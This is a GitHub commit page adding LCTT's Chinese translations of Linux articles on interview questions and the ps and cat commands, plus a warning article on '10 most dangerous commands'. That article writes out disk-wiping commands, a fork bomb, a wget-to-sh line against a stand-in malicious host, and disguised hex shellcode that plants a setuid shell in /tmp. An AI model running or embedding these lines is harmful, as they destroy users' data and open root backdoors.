mirror of
https://github.com/LCTT/TranslateProject.git
synced 2025-03-30 02:40:11 +08:00
commit
2ad0ff2d61
.gitignore
published
10 Linux Interview Questions and Answers for Linux Beginners – Part 3.md10 Most Dangerous Commands – You Should Never Execute on Linux.md10 basic examples of Linux ps command.md13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md
201311
10 Lesser Known Commands for Linux – Part 3.md10 Lesser Known Linux Commands – Part 2.md10 Things To Do After Installing Ubuntu 13.10.md10 Years of Xen--Transforming a Dinosaur Into a Bird.md11 Basic Linux Interview Questions and Answers.md12 Practical Examples of Linux grep Command.md3 Ways to Access And Use Cloud Storage (SkyDrive etc.) In Linux.md9 Linux Uname Command Examples To Get Operating System Details.mdApache OpenOffice vs. LibreOffice.mdCISCO Announce New Open Source H.264 Codec.mdCanonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.mdCloud tool Juju GUI 0.11 released with new features and enhancements.mdCore algorithms deployed.mdCreate And Manage Encrypted Folders in Linux With encfs.mdDaily Ubuntu Tips – Adding User Accounts In Ubuntu.mdDaily Ubuntu Tips – Change Samba Workgroup And Computer Name.mdDaily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.mdDaily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.mdDaily Ubuntu Tips – How To Change Your Computer Name.mdDaily Ubuntu Tips – Resize Ubuntu Unity Launcher.mdDaily Ubuntu Tips – Webcam Support In Ubuntu Via Cheese.mdDaily Ubuntu Tips–Change The Logon Screen Background.mdDaily Ubuntu Tips–Update To LibreOffice Latest In Ubuntu Via PPA.mdDeciphering Top.mdDisable Amazon & Remote Content Fetching In Ubuntu 13.10.mdFive Examples Of The ping Utility.mdGame-editor Leadwerks 3.1 demoed as running on Ubuntu with native look & feel.mdHow To Install Sublime Text 3 in Ubuntu 13.04, 13.10.mdHow to Control Your Linux PC with an Android Device.mdHow to Install Linux Kernel 3.12 in Ubuntu 13.10.mdHow to Install Ubuntu Touch 13.10 on Your Phone.mdHow to Install the Latest NVIDIA 331.20 Driver in Ubuntu 13.10.mdHow to Set Up Secure Remote Networking with OpenVPN on Linux, Part 1.mdHow to Set Up Secure Remote Networking with OpenVPN on Linux, Part 2.mdHow to add icons to menus in Ubuntu 13.10.mdHow to add kernel boot parameters via GRUB on Linux.mdHow to convert DOCX, DOC, RTF, ODT to PDF with LibreOffice.mdHow to create desktop shortcut or launcher on Linux.mdHow to manage Linux server with GUI.mdHow to monitor system temperature on Linux.mdHow to set up web-based network traffic monitoring system on Linux.mdInstall Apache With SSL in Ubuntu 13.10.mdInstall Ubuntu 13.10 Server Step by Step.mdInstall qBittorrent 3.1.0 in Ubuntu via PPA.mdInstalling a Desktop Algorithmic Trading Research Environment using Ubuntu Linux and Python.mdKDE and Canonical Conflict Over Mir Finally Bursts into Open.mdLinux Desktop In The Enterprise--Ubuntu Vs. Windows.mdLinux Mint 16 “Petra” Cinnamon RC Has Been Released!.mdLinux Pmap Command – Find How Much Memory Process Use.mdLinux diff Command Explained With Examples.mdLinux's First Space Opera Game“The Mandate”Gets a Fabulous Trailer.mdMaking Linux More Accessible.mdMark Shuttleworth Regrets the “Tea Party” Remarks and Other Canonical Mistakes.mdMetal Backup and Recovery Is Now Possible with Debian-Based Clonezilla Live 2.2.0-13.mdMikko Hypponen--Open Source Software Will Make the World More Secure.mdOn Security Backdoors.mdOptions in Linux RPM Command to Query Packages.mdOutreach Program for Women Seeks New Linux Kernel Interns.mdPackage Management Using YUM In Red Hat Linux.mdRaspberry Pi--the Perfect Home Server.mdRed Hat Fedora 20 Linux--New Networking, ARM Features.mdRed Hat prepares for 64-bit ARM servers.mdSave, Access And Quickly Paste Text Snippets With This Nifty Unity Launcher Tool.mdSay Hello to Linux Kernel 4.0 and Say Goodbye to 3.x.mdSeven reasons why closed source is better than open source, or so it seems.mdSuse Linux Enterprise expands regular support to 10 years.mdSystem-information tool I-Nex 0.5.4 released with improvements.mdThe Halloween Documents--Microsoft's Anti-Linux Strategy 15 Years Later.mdThe future of Linux--Evolving everywhere.mdTrusty Tahr daily builds available for download.mdUbuntu vs. openSUSE--Weighing different styles of corporate control.mdUpgrade To Linux Kernel 3.11.6 In Ubuntu.mdUsing Wine to Play Games On Linux? Here’s Why You Should Switch To Steam Right Now.mdgcp – Advanced Command Line File Copier Inspired By cp.mdncdu – Ncurses Based Disk Usage Utility.mdttyrec & ttyplay – Record And Play Terminal Sessions In Linux.md
Basic Linux Interview Questions and Answers – Part II.mdDaily Ubuntu Tips – Print From Shared Windows Printers.mdDaily Ubuntu Tips – TeamViewer 9 Is Available For Download.mdDaily Ubuntu Tips–Like GNOME Classic Menu? Get Classic Menu Indicator.mdDaily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.mdDaily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.mdDeepen your creative knowledge with explanatory user-friendly icon-creation design story.mdGCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.mdHow To Display And Set Hostname in Linux.mdHow to Crack a Wi-Fi Network's WPA Password with Reaver.mdHow to Make a YouTube Instructional Screencast Video on Linux.mdHow to install Ghost blogging platform on Linux.mdHow to setup EPEL repository on CentOS 5 or 6.mdIntel Haswell Linux Virtualization- KVM vs. Xen vs. VirtualBox.mdInterview with Ding Zhou of Ubuntu Tweak.mdKDE vs GNOME- Settings, Apps, Widgets.mdLinux Uptime Command – Find How Long Your System Been Running.mdLinux chief--‘Open source is safer, and Linux is more secure than any other OS’.mdManage and Limit Download-Upload Bandwidth with Trickle in Linux.md
4
.gitignore
vendored
4
.gitignore
vendored
@ -1,3 +1,3 @@
|
||||
|
||||
*.md~
|
||||
members.md
|
||||
*.html
|
||||
*.html
|
||||
|
@ -0,0 +1,111 @@
|
||||
Linux 面试基础问题 - 3
|
||||
================================================================================
|
||||
|
||||
在有关**面试问题**的这一系列话题的前两篇文章中,我们收到了许多好的反馈,在此表示极大的感谢,同时,我们将延续这一系列话题。在这里,我们将再次展示**10个问题**来进行相互学习。
|
||||
|
||||
- [11个基本的Linux面试问题及答案 – 第一部分][1]
|
||||
- [10个基本的Linux面试问题及答案 – 第二部分][2]
|
||||
|
||||

|
||||
|
||||
### Q.1. 你如何向你的系统中添加一个新的用户(例如,tux)? ###
|
||||
|
||||
- 使用useradd指令
|
||||
- 使用adduser 指令
|
||||
- 使用linuxconf指令
|
||||
- 以上全是
|
||||
- 以上答案全都不对
|
||||
|
||||
> **答** : 以上全是,即useradd, adduser 和 linuxconf 都可向你的linux系统添加新用户。
|
||||
|
||||
### Q.2. 在一个硬盘上,可能有多少主分区? ###
|
||||
|
||||
- 1
|
||||
- 2
|
||||
- 4
|
||||
- 16
|
||||
|
||||
> **答** : 一个硬盘上最多可能有4个主分区。
|
||||
|
||||
### Q.3. Apache/Http 的默认端口号是多少? ###
|
||||
|
||||
- 8080
|
||||
- 80
|
||||
- 8443
|
||||
- 91
|
||||
- 以上答案全都不对
|
||||
|
||||
> **答** : Apache/Http默认配置是**80**端口
|
||||
|
||||
### Q.4. GNU代表什么? ###
|
||||
|
||||
- GNU's not Unix
|
||||
- General Unix
|
||||
- General Noble Unix
|
||||
- Greek Needed Unix
|
||||
- 以上答案全都不对
|
||||
|
||||
> **答** : GNU意为**GNU's not Unix**.
|
||||
|
||||
### Q.5. 如果你在shell提示符中输入mysql并得到“can’t connect to local MySQL server through socket ‘/var/mysql/mysql.sock’ ”的提示,你首先应该检查什么? ###
|
||||
|
||||
> **答** : 看到这条错误消息,我首先会使用**service mysql status**或者**service mysqld status**指令来检查mysql服务是否正在运行。如果mysql服务没有运行,就启动所需服务。
|
||||
|
||||
**注意**:上面的错误消息可能是由于**my.cnf**或者mysql的**用户权限**错误配置导致的。如果启动mysql服务之后仍不管用,你需要检查这两项。
|
||||
|
||||
### Q.6. 如何将windows ntfs分区挂载到Linux上面? ###
|
||||
|
||||
> **答** : 首先,使用**apt**或者**yum**工具安装ntfs3g包,然后使用
|
||||
“**sudo mount t ntfs3g /dev/<Windows ntfs的分区号> /<挂载点>**” 命令来将windows分区挂载到Linux上面
|
||||
|
||||
|
||||
### Q.7. 下面哪一个不是基于RPM的操作系统? ###
|
||||
|
||||
- RedHat Linux
|
||||
- Centos
|
||||
- Scientific Linux
|
||||
- Debian
|
||||
- Fedora
|
||||
|
||||
> **答** : ‘**Debian**’ 系统不是基于**RPM**的,其它的几个都是
|
||||
|
||||
### Q.8. Linux中,哪一个指令用来重命名文件? ###
|
||||
|
||||
- mv
|
||||
- ren
|
||||
- rename
|
||||
- change
|
||||
- 以上答案全都不对
|
||||
|
||||
> **答** : 在Linux中,**mv** 指令用来重命名一个文件。例如:**mv /path_to_File/original_file_name.extension /Path_to_File/New_name.extension**
|
||||
|
||||
### Q.9. 在Linux中,哪个命令用来创建并显示文件? ###
|
||||
|
||||
- ed
|
||||
- vi
|
||||
- cat
|
||||
- nano
|
||||
- 以上答案全都不对
|
||||
|
||||
> **答** : ‘**cat**‘ 命令用来创建并且显示文件
|
||||
|
||||
### 10. 哪层协议用于支持用户和程序,如支持密码、资源分享、文件传输和网络管理? ###
|
||||
|
||||
- 第四层协议
|
||||
- 第五层协议
|
||||
- 第六层协议
|
||||
- 第七层协议
|
||||
- 以上答案全都不对
|
||||
|
||||
> **答** : ‘**第七层协议**‘
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/linux-interview-questions-and-answers-for-linux-beginners/
|
||||
|
||||
译者:[tomatoKiller](https://github.com/tomatoKiller) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://linux.cn/article-2315-1.html
|
||||
[2]:http://linux.cn/article-2370-1.html
|
@ -0,0 +1,97 @@
|
||||
永远不要在Linux执行的10个最危险的命令
|
||||
================================================================================
|
||||
|
||||
Linux命令行佷有用、很高效,也很有趣,但有时候也很危险,尤其是在你不确定你自己在正在做什么时候。这篇文章并不打算引来你对**Linux**或**linux 命令行**的愤怒。我们只是想让你意识到在你运行某些命令时应该三思而后行。(译注:当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药;在普通用户身份下,破坏的只是自己的一亩三分地。)
|
||||
|
||||

|
||||
|
||||
### 1. rm -rf 命令 ###
|
||||
|
||||
**rm -rf**命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些**rm 命令**的选项。
|
||||
|
||||
- **rm** 命令在Linux下通常用来删除文件。
|
||||
- **rm -r** 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”)
|
||||
- **rm -f** 命令能不经过询问直接删除‘只读文件’。(译注:Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认,而-f则抑制了这个提示。)
|
||||
- **rm -rf /** : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)
|
||||
- rm -rf *: 强制删除当前目录的所有文件。
|
||||
- **rm -rf .** : 强制删除当前文件夹及其子文件夹。
|
||||
|
||||
从现在起,当你要执行**rm -rf**命令时请留心一点。我们可以在“**.bashrc**”文件对‘**rm**‘命令创建**rm -i**的别名,来预防用 ‘**rm**‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好你在做什么!译者本人有着血泪的教训啊。)
|
||||
|
||||
### 2. :(){:|:&};: 命令###
|
||||
|
||||
这就是个**fork 炸弹**的实例。具体操作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
|
||||
|
||||
:(){:|:&};:
|
||||
|
||||
|
||||
哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~
|
||||
|
||||
### 3. 命令 > /dev/sda ###
|
||||
|
||||
上列命令会将某个‘**命令**‘的输出写到块设备**/dev/sda**中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
|
||||
|
||||
### 4. mv 文件夹 /dev/null ###
|
||||
|
||||
这个命令会移动某个‘**文件夹**‘到**/dev/null**。在Linux中 **/dev/null** 或 **null** 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止数据恢复软件的救赎,所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)
|
||||
|
||||
# mv /home/user/* /dev/null
|
||||
|
||||
上列命令会将**User**目录所有内容移动到**/dev/null**,这意味着所有东西都被‘卷入’**黑洞 (null)**之中。
|
||||
|
||||
### 5. wget http://malicious_source -O- | sh ###
|
||||
|
||||
上列命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而**sh**会(无条件的)执行下载下来的脚本。
|
||||
|
||||
**注意**: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。(译注:所以,你真的知道你在做什么吗?当遇到这种需要是,我的做法是,先wget下来,然后我去读一读其中到底写了些什么,然后考虑是否执行。)
|
||||
|
||||
### 6. mkfs.ext3 /dev/sda ###
|
||||
|
||||
|
||||
上列命令会格式化块设备‘**sda**’,你无疑知道在执行上列命令后你的块设备(**硬盘驱动器**)会被格式化,**崭新的!**没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备,除非是作为raw设备使用,一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁灭性的,上面的数据都会被蒸发了。)
|
||||
|
||||
### 7. > file###
|
||||
|
||||
上列命令常用来清空文件内容(译注:通常也用于记录命令输出。不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是“>>”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “> **xt.conf**” 的命令会覆盖配置文件或其他任何的系统配置文件。
|
||||
|
||||
### 8. \^foo\^bar ###
|
||||
|
||||
这个命令在我们[十个鲜为人知的 Linux 命令 - Part 3][1]中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用**^foo^bar**命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。)
|
||||
|
||||
### 9. dd if=/dev/random of=/dev/sda ###
|
||||
|
||||
上列命令会向块设备**sda**写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。(译注:记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。)
|
||||
|
||||
### 10. 隐藏命令 ###
|
||||
|
||||
下面的命令其实就是上面第一个命令 (**rm -rf**)。这里的代码是隐藏在**十六进制**里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的**根**分区。
|
||||
|
||||
这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。
|
||||
|
||||
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
|
||||
release */
|
||||
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
|
||||
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
|
||||
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
|
||||
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
|
||||
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
|
||||
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
|
||||
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
|
||||
“cp -p /bin/sh /tmp/.beyond; chmod 4755
|
||||
/tmp/.beyond;”;
|
||||
|
||||
**注意**: 不要在你的或你的同学或学校的电脑里的**Linux**终端或Shell执行以上的任何一个命令。如果你想测试它们,请在虚拟机上运行。任何不和谐或数据丢失,由于运行上面的命令导致你的系统崩溃,文章**作者**和**Tecmint**概不负责。(译注:译者和转载网站也不负责~!)
|
||||
|
||||
今天就到此为止吧,我会很快回来这里,同时带上另一篇你们喜欢的文章。到那时请继续关注和访问**Tecmint**。如果你知道任何其他**危险的Linux命令**,也想添加到我们的列表中,请通过评论留言给我们同时也别忘了留下你的宝贵意见。
|
||||
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
|
||||
|
||||
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://linux.cn/article-2284-1.html
|
||||
|
209
published/10 basic examples of Linux ps command.md
Executable file
209
published/10 basic examples of Linux ps command.md
Executable file
@ -0,0 +1,209 @@
|
||||
ps命令的10个例子
|
||||
================================================================================
|
||||
### Linux ps 命令 ###
|
||||
|
||||
linux的ps命令是一个查看系统运行的进程的一个最基础的工具。它提供了一个当前进程的快照,还带有一些具体的信息,比如用户id,cpu使用率,内存使用,命令名等,它不会像top或者htop一样实时显示数据。虽然它在功能和输出上更加简单,但它仍然是每个linux新手需要了解和学好的必要进程管理/检测工具。
|
||||
|
||||
在本篇中,我们会学习ps命令基本的用法:查找、过滤,以不同的方式排序。
|
||||
|
||||
### 语法说明 ###
|
||||
|
||||
ps命令有两种不同风格的语法规则:BSD风格和UNIX风格。Linux新手经常感到困惑并会误解这两种风格,所以在继续下一步之前,我们来弄清楚一些基本的信息。
|
||||
|
||||
> 注意: "ps aux"不等同于"ps -aux"。比如"-u"用于显示用户的进程,但是"u"意味着显示具体信息。
|
||||
|
||||
BSD 形式 - BSD形式的语法的选项前没有破折号,如:
|
||||
|
||||
ps aux
|
||||
|
||||
UNIX/LINUX 形式 - linux形式的语法的选项前有破折号,如:
|
||||
|
||||
ps -ef
|
||||
|
||||
> 在linux系统上混合这两种语法是可以的。比如 "ps ax -f"。但是本章中我们主要讨论UNIX形式语法。
|
||||
|
||||
### 如何使用ps命令 ###
|
||||
|
||||
#### 1. 显示所有进程 ####
|
||||
|
||||
下面的命令可以显示所有进程的列表。
|
||||
|
||||
$ ps ax
|
||||
$ ps -ef
|
||||
|
||||
通过管道输出到"less"可以分页。
|
||||
|
||||
使用"u"或者"-f"选项可以显示进程的具体信息。
|
||||
|
||||
$ ps aux
|
||||
$ ps -ef -f
|
||||
|
||||
> 为什么USER列显示的不是我的用户名,但是其他的像root,www-data等却显示?
|
||||
> 对于所有的用户(包括你们的),如果长度大于8个字符,那么ps只会显示你的UID而不是用户名。
|
||||
|
||||
#### 2. 显示用户进程 ####
|
||||
|
||||
使用"-u"选项后跟用户名来过滤所属用户的进程。多个用户名可以用逗号分隔。
|
||||
|
||||
$ ps -f -u www-data
|
||||
UID PID PPID C STIME TTY TIME CMD
|
||||
www-data 1329 1328 0 09:32 ? 00:00:00 nginx: worker process
|
||||
www-data 1330 1328 0 09:32 ? 00:00:00 nginx: worker process
|
||||
www-data 1332 1328 0 09:32 ? 00:00:00 nginx: worker process
|
||||
www-data 1377 1372 0 09:32 ? 00:00:00 php-fpm: pool a.localhost
|
||||
www-data 1378 1372 0 09:32 ? 00:00:00 php-fpm: pool a.localhost
|
||||
www-data 4524 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start
|
||||
www-data 4527 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start
|
||||
www-data 4528 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start
|
||||
|
||||
#### 3. 通过名字或者进程id显示进程 ####
|
||||
|
||||
通过"-C"选项后面加上名字或者命令来搜索进程。
|
||||
|
||||
$ ps -C apache2
|
||||
PID TTY TIME CMD
|
||||
2359 ? 00:00:00 apache2
|
||||
4524 ? 00:00:00 apache2
|
||||
4525 ? 00:00:00 apache2
|
||||
...
|
||||
|
||||
要通过进程id显示进程,就使用"-p"选项,并且还可以通过逗号分隔来指定多个进程id。
|
||||
|
||||
$ ps -f -p 3150,7298,6544
|
||||
|
||||
"-C"必须提供精确的进程名,并且它并不能通过部分名字或者通配符查找。为了更灵活地搜索进程列表,通常使用grep命令。
|
||||
|
||||
$ ps -ef | grep apache
|
||||
|
||||
#### 4. 通过cpu或者内存使用排序进程 ####
|
||||
|
||||
系统管理员通常想要找出那些消耗最多内存或者CPU的进程。排序选项会基于特定的字段或者参数来排序进程列表。
|
||||
|
||||
可以用'--sort'指定多个字段,并用逗号分割。除此之外,字段前面还可以跟上'-'或者'+'的前缀来相应地表示递减和递增排序。这里有很多的用于排序的选项,通过man页来获取完整的列表。
|
||||
|
||||
$ ps aux --sort=-pcpu,+pmem
|
||||
|
||||
显示前5名最耗cpu的进程。
|
||||
|
||||
$ ps aux --sort=-pcpu | head -5
|
||||
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
|
||||
root 1 2.6 0.7 51396 7644 ? Ss 02:02 0:03 /usr/lib/systemd/systemd --switched-root --system --deserialize 23
|
||||
root 1249 2.6 3.0 355800 30896 tty1 Rsl+ 02:02 0:02 /usr/bin/X -background none :0 vt01 -nolisten tcp
|
||||
root 508 2.4 1.6 248488 16776 ? Ss 02:02 0:03 /usr/bin/python /usr/sbin/firewalld --nofork
|
||||
silver 1525 2.1 2.3 448568 24392 ? S 02:03 0:01 /usr/bin/python /usr/share/system-config-printer/applet.py
|
||||
|
||||
#### 5. 以树的形式显示进程层级 ####
|
||||
|
||||
许多进程实际上是从同一个父进程fork出来的,了解父子关系通常是很有用的。"--forest" 选项会构造一个ascii艺术形式的进程层级视图。
|
||||
|
||||
下面的命令会用apache2的进程名来搜索并构造一个树来显示具体信息。
|
||||
|
||||
$ ps -f --forest -C apache2
|
||||
UID PID PPID C STIME TTY TIME CMD
|
||||
root 2359 1 0 09:32 ? 00:00:00 /usr/sbin/apache2 -k start
|
||||
www-data 4524 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start
|
||||
www-data 4525 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start
|
||||
www-data 4526 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start
|
||||
www-data 4527 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start
|
||||
www-data 4528 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start
|
||||
|
||||
> 不要在排序中使用树状显示,因为两者都会以不同方式影响显示的顺序。
|
||||
|
||||
#### 6. 显示父进程的子进程 ####
|
||||
|
||||
下面一个是找出所有从apache进程fork出来的进程的例子。
|
||||
|
||||
$ ps -o pid,uname,comm -C apache2
|
||||
PID USER COMMAND
|
||||
2359 root apache2
|
||||
4524 www-data apache2
|
||||
4525 www-data apache2
|
||||
4526 www-data apache2
|
||||
4527 www-data apache2
|
||||
4528 www-data apache2
|
||||
|
||||
第一个属于root的进程是apache2的主进程,其他的apache进程都是从主进程fork出来的。下面的命令使用apache2主进程的pid列出了所有的apache2的子进程。
|
||||
|
||||
$ ps --ppid 2359
|
||||
PID TTY TIME CMD
|
||||
4524 ? 00:00:00 apache2
|
||||
4525 ? 00:00:00 apache2
|
||||
4526 ? 00:00:00 apache2
|
||||
4527 ? 00:00:00 apache2
|
||||
4528 ? 00:00:00 apache2
|
||||
|
||||
#### 7. 显示进程的线程 ####
|
||||
|
||||
"-L"选项会随着进程一起显示线程。它可用于显示所有指定进程或者所有进程的线程。
|
||||
|
||||
下面的命令会显示进程id为3150的进程的所有线程。
|
||||
|
||||
$ ps -p 3150 -L
|
||||
|
||||
#### 8. 改变显示的列 ####
|
||||
|
||||
ps命令可以被配置用来只显示被选中的列。很多列可以被用来显示,完整的列表可以查看man页。
|
||||
|
||||
下面的命令会只显示pid、用户名、cpu、内存、命令列。
|
||||
|
||||
$ ps -e -o pid,uname,pcpu,pmem,comm
|
||||
|
||||
同样可以重命名列的名字。
|
||||
|
||||
$ ps -e -o pid,uname=USERNAME,pcpu=CPU_USAGE,pmem,comm
|
||||
PID USERNAME CPU_USAGE %MEM COMMAND
|
||||
1 root 0.0 0.0 init
|
||||
2 root 0.0 0.0 kthreadd
|
||||
3 root 0.0 0.0 ksoftirqd/0
|
||||
4 root 0.0 0.0 kworker/0:0
|
||||
5 root 0.0 0.0 kworker/0:0H
|
||||
7 root 0.0 0.0 migration/0
|
||||
8 root 0.0 0.0 rcu_bh
|
||||
9 root 0.0 0.0 rcuob/0
|
||||
10 root 0.0 0.0 rcuob/1
|
||||
|
||||
非常灵活。
|
||||
|
||||
#### 9. 显示进程运行的时间 ####
|
||||
|
||||
运行的时间指的是,进程已经运行的时间。运行时间的列并没有默认显示,需要使用-o选项带入。
|
||||
|
||||
$ ps -e -o pid,comm,etime
|
||||
|
||||
#### 10. 将ps转换为实时进程查看器 ####
|
||||
|
||||
通常上,watch命令可将ps命令变成实时进程查看器。像这个简单的命令
|
||||
|
||||
$ watch -n 1 'ps -e -o pid,uname,cmd,pmem,pcpu --sort=-pmem,-pcpu | head -15'
|
||||
|
||||
我桌面上的输出如下。
|
||||
|
||||
Every 1.0s: ps -e -o pid,uname,cmd,pmem,pcpu --... Sun Dec 1 18:16:08 2013
|
||||
|
||||
PID USER CMD %MEM %CPU
|
||||
3800 1000 /opt/google/chrome/chrome - 4.6 1.4
|
||||
7492 1000 /opt/google/chrome/chrome - 2.7 1.4
|
||||
3150 1000 /opt/google/chrome/chrome 2.7 2.5
|
||||
3824 1000 /opt/google/chrome/chrome - 2.6 0.6
|
||||
3936 1000 /opt/google/chrome/chrome - 2.4 1.6
|
||||
2936 1000 /usr/bin/plasma-desktop 2.3 0.2
|
||||
9666 1000 /opt/google/chrome/chrome - 2.1 0.8
|
||||
3842 1000 /opt/google/chrome/chrome - 2.1 0.8
|
||||
4739 1000 /opt/google/chrome/chrome - 1.8 1.0
|
||||
3930 1000 /opt/google/chrome/chrome - 1.7 1.0
|
||||
3911 1000 /opt/google/chrome/chrome - 1.6 0.6
|
||||
3645 1000 /opt/google/chrome/chrome - 1.5 0.4
|
||||
3677 1000 /opt/google/chrome/chrome - 1.5 0.4
|
||||
3639 1000 /opt/google/chrome/chrome - 1.4 0.4
|
||||
|
||||
输出会每秒刷新状态,但是这其实很top不同。你会发现top/htop命令的输出相比上面的ps命令刷新得更频繁。
|
||||
|
||||
这是因为top输出是结合了cup使用值和内存使用值后的排序值。但是上面的ps命令是一个更简单的行为的排序,每次获取一列(像学校的数学),因此它不会像top那样快速更新。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.binarytides.com/linux-ps-command/
|
||||
|
||||
译者:[geekpi](https://github.com/geekpi) 校对:[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,214 @@
|
||||
13个Cat命令管理(显示,排序,建立)文件实例
|
||||
================================================================================
|
||||

|
||||
|
||||
在Linux系统中,大多数配置文件、日志文件,甚至shell脚本都使用文本文件格式,因此,Linux系统存在着多种文本编辑器,但当你仅仅想要查看一下这些文件的内容时,可使用一个简单的命令-cat。
|
||||
|
||||
cat手册里这样描述:
|
||||
|
||||
> cat命令读取文件内容,并输出到标准设备上面
|
||||
|
||||
cat是一条linux内置命令. 几乎所有linux发行版都内置(译注:或者说我从未听说过不内置cat命令的发行版)。接下来,让我们开始学习如何使用.
|
||||
|
||||
### 1. 显示文件内容 ###
|
||||
|
||||
最简单的方法是直接输入‘cat file_name’.
|
||||
|
||||
# cat /etc/issue
|
||||
|
||||
CentOS release 5.10 (Final)
|
||||
Kernel \r on an \m
|
||||
|
||||
### 2. 同时显示行号 ###
|
||||
|
||||
当在读取内容很多的配置文件时,如果同时显示行号将会使操作变简单,加上-n参数可以实现.
|
||||
|
||||
# cat -n /etc/ntp.conf
|
||||
|
||||
1 # Permit time synchronization our time resource but do not
|
||||
2 # permit the source to query or modify the service on this system
|
||||
3 restrict default kod nomodify notrap nopeer noquery
|
||||
4 restrict -6 default kod nomodify notrap nopeer noquery
|
||||
5
|
||||
6 # Permit all access over the loopback interface. This could be
|
||||
7 # tightened as well, but to do so would effect some of the
|
||||
8 # administration functions
|
||||
9 restrict 127.0.0.1
|
||||
10 restrict -6 ::1
|
||||
|
||||
### 3. 在非空格行首显示行号 ###
|
||||
|
||||
类似于-n参数,-b也可以显示行号。区别在于-b只在非空行前显示行号。
|
||||
|
||||
#cat -b /etc/ntp.conf
|
||||
|
||||
1 # Permit time synchronization our time resource but do not
|
||||
2 # permit the source to query or modify the service on this system
|
||||
3 restrict default kod nomodify notrap nopeer noquery
|
||||
4 restrict -6 default kod nomodify notrap nopeer noquery
|
||||
|
||||
5 # Permit all access over the loopback interface. This could be
|
||||
6 # tightened as well, but to do so would effect some of the
|
||||
7 # administration functions
|
||||
8 restrict 127.0.0.1
|
||||
9 restrict -6 ::1
|
||||
|
||||
### 4. 显示tab制表符 ###
|
||||
|
||||
